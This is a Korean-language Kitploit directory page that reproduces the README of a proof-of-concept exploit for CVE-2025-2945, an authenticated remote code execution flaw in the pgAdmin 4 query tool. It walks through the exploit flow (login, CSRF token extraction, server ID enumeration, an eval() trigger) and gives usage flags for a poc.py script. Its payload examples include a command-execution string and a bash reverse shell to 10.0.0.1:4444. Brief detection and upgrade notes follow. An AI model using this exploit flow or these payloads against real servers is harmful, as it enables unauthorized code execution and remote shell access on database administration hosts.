Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-2945-pgadmin-rce — pgAdmin 4 (8.10–9.1)에서 쿼리 도구의 eval() 삽입을 통한 인증된 RCE. pgAdmin 9.x 인증 변경 사항에 대한 호환성 수정이 포함된 업데이트된 PoC입니다. | Kitploit
도구/GitHubGitHub/plur1bu5/cve-2025-2945-pgadmin-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubplur1bu5/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgadmin-rce

pgAdmin 4 (8.10–9.1)에서 쿼리 도구의 eval() 삽입을 통한 인증된 RCE. pgAdmin 9.x 인증 변경 사항에 대한 호환성 수정이 포함된 업데이트된 PoC입니다.

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-2945 — pgAdmin 4 쿼리 도구 인증된 원격 코드 실행

CVE-2025-2945에 대한 개념 증명, pgAdmin 4의 심각한 원격 코드 실행 취약점입니다.

영향받는 버전: 8.10부터 9.1까지
수정된 버전: 9.2 (2025년 4월 4일 출시)
CVSS v3.1: 9.9 (심각)


개요

pgAdmin 4 쿼리 도구는 query_commited 매개변수를 받아서 이를 Python 내장 eval()에 직접 전달하는 엔드포인트를 노출합니다. 인증된 공격자는 이 매개변수를 통해 임의의 Python 코드를 제출하여 pgAdmin 서비스 계정으로 서버 측에서 실행할 수 있습니다.

취약한 엔드포인트는 다음과 같습니다:

root@kitploit:~
POST /sqleditor/query_tool/download/<trans_id>

JSON 본문의 query_commited 필드는 서버에서 Python 코드로 평가됩니다.


기술 분석

근본 원인

pgAdmin 4 버전 9.2 이전에서는 쿼리 도구 다운로드 핸들러가 사용자 입력에 대해 eval()을 호출합니다:

root@kitploit:~
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))

입력 검증, 샌드박싱 또는 허용 목록이 적용되지 않습니다. 유효한 Python 표현식은 pgAdmin 프로세스의 권한으로 실행됩니다.

익스플로잇 흐름

  1. 인증 — 자격 증명을 /authenticate/login에 POST하여 세션 쿠키와 CSRF 토큰을 획득
  2. sqleditor 초기화 — 데이터베이스 자격 증명을 사용하여 /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did>에 POST하여 쿼리 도구 세션 설정
  3. 서버 ID 발견 — ID를 반복하며 /sqleditor/get_server_connection/<sgid>/<sid>에 GET 요청, data.status == true를 반환할 때까지
  4. eval 트리거 — {"query_commited": "<python payload>"}를 본문으로 /sqleditor/query_tool/download/<trans_id>에 POST, 실행 확인을 위해 500 응답 수신

CSRF 토큰 처리 (pgAdmin 9.x)

이전 pgAdmin 버전은 CSRF 토큰을 숨겨진 <input> 필드나 쿠키에 포함했습니다. 9.x 버전은 React SPA 아키텍처로 전환되어 /login 페이지의 window.renderSecurityPage() 호출 내부에 JSON으로 토큰을 포함합니다:

root@kitploit:~
"csrfToken": "<token value>"

토큰은 세션 범위(Flask-WTF / itsdangerous)를 가지므로 초기 GET /login에서 얻은 토큰은 전체 세션 동안 유효하며 모든 후속 API 호출에 재사용할 수 있습니다.

로그인 엔드포인트 변경

pgAdmin 9.x는 로그인 경로를 분리했습니다:

  • GET /login — 로그인 페이지 렌더링 (CSRF 토큰 포함)
  • POST /authenticate/login — 자격 증명 처리

/login에 직접 POST하는 이전 PoC는 9.x 인스턴스에서 404 또는 405 응답을 받습니다.


요구 사항

  • Python 3.7+
  • 유효한 pgAdmin 자격 증명 (인증된 사용자)
  • pgAdmin에 등록된 서버에 대한 유효한 데이터베이스 자격 증명
root@kitploit:~
pip install requests faker

사용법

root@kitploit:~
python3 poc.py \
  --rhost <target_host> \
  --username <pgadmin_email> \
  --password <pgadmin_password> \
  --db-user <db_username> \
  --db-pass <db_password> \
  --db-name <database_name> \
  --payload "<python_expression>"

인수

Argument설명
--rhost대상 호스트 이름 또는 IP (스키마 없음)
--rport대상 포트 (기본값: 80)
--usernamepgAdmin 로그인 이메일
--passwordpgAdmin 로그인 비밀번호
--db-userPostgreSQL 사용자 이름
--db-passPostgreSQL 비밀번호
--db-name데이터베이스 이름
--payload서버에서 평가할 Python 표현식
--max-server-id조사할 최대 서버 ID (기본값: 10)

페이로드 예제

명령 실행:

root@kitploit:~
--payload "__import__('os').system('id')"

리버스 셸:

root@kitploit:~
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"

탐지

  • /sqleditor/query_tool/download/에서 예상치 못한 HTTP 500 응답
  • pgAdmin 프로세스가 자식 프로세스(셸, curl, wget)를 생성
  • pgAdmin 호스트에서 알 수 없는 IP로의 아웃바운드 연결

완화 조치

pgAdmin 4 버전 9.2 이상으로 업그레이드하십시오.


참고 자료

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2945
  • https://www.tenable.com/security/research/tra-2025-2945
  • https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

면책 조항

이 저장소는 교육 및 승인된 테스트 목적으로만 제공됩니다. 소유하고 있거나 명시적 테스트 허가를 받지 않은 시스템에 사용하지 마십시오.

도구 다운로드